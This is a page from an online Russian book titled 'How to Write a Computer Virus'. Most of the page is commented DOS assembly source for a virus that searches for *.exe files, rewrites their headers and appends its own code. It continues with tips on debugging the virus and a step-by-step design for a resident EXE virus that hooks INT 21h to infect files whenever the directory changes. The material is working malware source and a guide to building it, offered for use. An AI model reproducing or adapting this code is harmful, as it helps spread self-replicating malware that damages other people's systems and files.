Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 ... 8 9 10 11 12 13 14  15 16 17 18 19 20 21 ... 27
               lea dx,header          ;раз занимает 27
	       int 21h                ;байт...
               jnc next_step          ;
               jmp restore_dta        ;Ошибка чтения !

    next_step: mov ax,word ptr header[14h]
               mov old_ip,ax
               mov ax,word ptr header[16h]
               mov old_cs,ax
               mov ax,word ptr header[0eh]
               mov old_ss,ax
               mov ax,word ptr header[10h]
               mov old_sp,ax

               mov ax,word ptr header[04h]
               mov cl,5
               shl ax,cl
               cmp ax,0f000h
               jna good_size
               jmp find_next
    good_size: mov bp,ax
               sub ax,word ptr header[08h]
               mov to_16h,ax          ;Это число запи-
                                      ;шется в Header
                                      ;[16h]
               mov ax,bp
               xor dx,dx
               call mover
               mov f_seek_low,ax
               mov f_seek_high,dx
               cmp dx,word ptr [new_dta + 01ch]
               jl to_next
               ja infect
               cmp ax,word ptr [new_dta + 01ah]
               jl to_next
    infect:    add ax,vir_len
               adc dx,0
               mov bx,512
               div bx
               cmp dx,0
               je round
               inc ax
    round:     mov to_04h,ax          ;Это число запи-
                                      ;шется в Header
                                      ;[04h]

               mov to_02h,dx
               mov word ptr header[02h],dx
               mov ax,to_04h
               mov word ptr header[04h],ax
               mov word ptr header[14h],0
               mov ax,to_16h
               mov word ptr header[16h],ax
               mov word ptr header[0eh],ax
     mov word ptr header[10h],offset ds:new_stack + 96
               mov sub_ds,10h

               xor dx,dx              ;Устанавливаем
               xor cx,cx              ;указатель на
               call setpointer        ;начало файла
               jc close_file          ;

               lea dx,header          ;И записываем
               mov cx,27              ;измененный за-
               call write             ;головок на диск
               jc close_file

               mov dx,f_seek_low      ;Устанавливаем
               mov cx,f_seek_high     ;указатель на
               call setpointer        ;определенное
                                      ;ранее место в
                                      ;файле
               jc close_file

               lea dx,vir             ;И записываем на
               mov cx,vir_len         ;диск вирусный
               call write             ;код

    close_file:xor ax,ax              ;Закроем зара-
               mov ah,3eh             ;женный файл
               mov bx,descrypt        ;
               int 21h                ;

    restore_dta:
               push ds                ;DS -> в стек
               mov ah,1ah             ;Восстановим
               mov dx,080h            ;адрес DTA зара-
               mov bp,es              ;женной програм-
               mov ds,bp              ;мы с помощью
               int 21h                ;функции DOS 1Ah
               pop ds                 ;DS <- из стека

               mov ax,my_ip
               mov old_ip,ax
               mov ax,my_cs
               mov old_cs,ax
               mov ax,my_16h
               mov to_16h,ax
               mov ax,my_sp
               mov sp,ax              ;Инициализируем
                                      ;регистр SP ...
               mov ax,cs              ;Найдем
               sub ax,to_16h          ;NS0 + 10h ...
               add my_ss,ax           ;Вычислим SS ...
               mov ss,my_ss           ;
               add ax,old_cs          ;Вычислим CS ...
               mov old_cs,ax          ;
               mov ax,es              ;Инициализируем
               mov ds,ax              ;регистр DS ...

               jmp $ + 2              ;Сбросим очередь
                                      ;процессора
               db 0eah                ;И перейдем к
    old_ip     dw 0                   ;исполнению
    old_cs     dw 0                   ;программы ...

    ;Procedure area ...
    ;*************************************************

    setpointer proc                   ;Процедура уста-
	       mov ax,4200h           ;навливает  ука-
	       mov bx,descrypt        ;затель  в файле
	       int 21h                ;на заданный
               ret                    ;байт ...
    setpointer endp

    read       proc                   ;Процедура  чте-
               mov ah,3fh             ;ния из файла...
	       mov bx,descrypt
	       int 21h
               ret
    read       endp

    write      proc                   ;Процедура за-
               mov ah,40h             ;писи в файл ...
               mov bx,descrypt
               int 21h
               ret
    write      endp

    mover      proc                   ;Процедура умно-
               mov cx,04h             ;жения двойного
    left:      shl dx,1               ;слова CX : DX
               shl ax,1               ;на 16 методом
               adc dx,00h             ;сдвига ...
               loop left              ;
               ret                    ;
    mover      endp

    ;Data area ...
    ;*************************************************

                                      ;Собственная DTA
                                      ;вируса
               new_dta       db   128 dup (0)

                                      ;Маска для поис-
                                      ;ка файла - жер-
                                      ;твы
               maska         db   '*.exe',0

                                      ;Буфер для хра-
                                      ;нения имени
                                      ;найденного
                                      ;файла
               fn            db   12 dup (' '),0

                                      ;Массив для хра-
                                      ;нения заголовка
               header        db   27 dup ( 0 )

               descrypt      dw   0   ;Ячейка для дес-
                                      ;криптора

               to_02h        dw   0   ;Эти ячейки ис-
               to_04h        dw   0   ;пользуются для
               to_16h        dw   0   ;хранения пара-
               my_ip         dw   0   ;метров заголо-
               my_cs         dw   0   ;вка заражаемой
               my_16h        dw   0   ;программы и
               my_ss         dw   0   ;той, из которой
               my_sp         dw   0   ;стартовал
               old_ss        dw   0   ;вирус
               old_sp        dw   0   ;

               f_seek_low    dw   0   ;В эти перемен-
               f_seek_high   dw   0   ;нные записывае-
                                      ;тся значение
                                      ;указателя

                                      ;Вирусный стек
               new_stack     dw   50 dup ( 0 )

               last          db   0   ;Сюда помещается
                                      ;последний байт
                                      ;заражаемого
                                      ;файла

                             db   '7' ;Последний байт
                                      ;вирусного кода

                                      ;Длина вирусного
                                      ;кода в байтах
	       vir_len       equ  $-vir

    prg ends
    end vir


         1.17 Несколько слов об испытании вируса

    В принципе,процесс испытания созданного вируса ни-
    чем не отличается от ранее рассмотренного .Обращаю
    внимание читателей только на одну деталь :
    Отладчик AFD_RUS .COM корректно работает только  с
    неупакованными EXE - файлами.Если вы попытаетесь с
    его помощью отладить EXE - программу,  упакованную
    какой - либо утилитой сжатия ( например, DIET, LZ_
    EXE или PKLITE ), то из этого ничего не получится.
    Конечно, программа не испортится,но результаты ра-
    боты отладчика будут неверными .Для отладки упако-
    ванных программ можно воспользоваться TURBO DEBUG-
    GER фирмы BORLAND INTERNATIONAL, но еще лучше рас-
    паковать такую программу и применить отладчик  по-
    проще.

    *
     Если в программе есть команды,изменяющие SS и SP,
     то при " прохождении  " ее AFD_RUS.COM результаты
     работы отладчика  могут быть совершенно неожидан-
     ными. Это происходит потому, что указанный отлад-
     чик использует стек исследуемой им программы.
    **
     Все только что отмеченные недостатки AFD_шки ни в
     коей мере не дают сделать вывод,что этот отладчик
     плохой. Hаоборот,он во многих отношениях значите-
     льно превосходит даже  TURBO DEBUGGER. Возможнос-
     тей AFD_RUS вполне достаточно при отладке пример-
     но 95 % программ.


             ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
                       EXE - ВИРУСА

             2.1 Алгоритм работы резидентного
                        EXE - вируса

    Для начала рассмотрим алгоритм работы резидентного
    вируса, заражающего EXE - файлы .Он очень похож на
    соответствующий алгоритм для COM - вируса, поэтому
    подробно рассматриваться не будет :

    Секция инициализации выполняет следующие действия:

    1. Получает управление при запуске зараженной про-
    граммы .

    2. Проверяет, установлена ли в память  резидентная
    часть вируса .

    3. Если резидентная часть не установлена,выполняю-
    тся следующие действия :

       a.) Отыскивается свободный блок памяти достато-
           чного для размещения вируса размера .

       б.) Код вируса копируется в найденный блок  па-
           мяти .

       в.) В таблице  векторов прерываний соответству-
           ющие вектора заменяются точками входа в ви-
           русные обработчики .

       г.) Определяются значения CS, IP, SS и SP,необ-
           ходимые  для  правильной работы программы ,
           из которой стартовал вирус .

       д.) Управление передается зараженной программе.
           Для этого вирус использует команду безусло-
           вного дальнего перехода или возврата из да-
           льней процедуры.Адрес перехода задается вы-
           численными CS и IP. После этого  начинается
           обычное выполнение программы .

    В том случае,  если резидентная часть  вируса  уже
    находится в памяти,  он просто выполняет  действия
    перечисленные в п.п.  " Г " и " Д " .

    Резидентная часть работает по такому " сценарию ":

    1. Анализирует  все вызовы  системного  прерывания
    INT 21h с целью выявить переход оператора в  новый
    каталог или смену текущего диска .

    2. Если обнаружится смена текущего диска или ката-
    лога, резидентная часть должна :

       а.) Сохранить исходное состояние вычислительной
           системы .

       б.) Найти на диске подходящий EXE - файл .

       в.) Записать вирусный код в конец этого файла .

       г.) Скорректировать заголовок файла ( см. п.1.4
           гл. 1 ч. 2 ) .

       д.) Восстановить исходное состояние  вычислите-
           льной системы и передать ей управление .

    Как  и в случае с COM - вирусом,  заражение файлов
    выполняет только резидентная часть .Вредные дейст-
    вия можно " возложить " как на резидентную,  так и
    на транзитную часть ( на транзитную - проще,  а на
    резидентную - обычно сложнее . ) .


          2.2 Защита от программ - антивирусов

    Честно говоря, эта глава просто является обобщени-
    ем всех предыдущих . Поэтому все основное уже рас-
Предыдущая страница Следующая страница
1 ... 8 9 10 11 12 13 14  15 16 17 18 19 20 21 ... 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама